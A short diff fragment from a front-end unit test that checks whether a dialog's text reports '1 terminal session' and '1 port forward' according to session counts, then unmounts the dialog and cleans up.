+ expect(document.body.textContent?.includes('1 terminal session')).toBe(counts.execSessions === 1)
90
+ expect(document.body.textContent?.includes('1 port forward')).toBe(counts.portForwards === 1)
91
+ act(() => dialog.unmount())
92
+ host.remove()
93
+ }
94
+ })
70
95
  })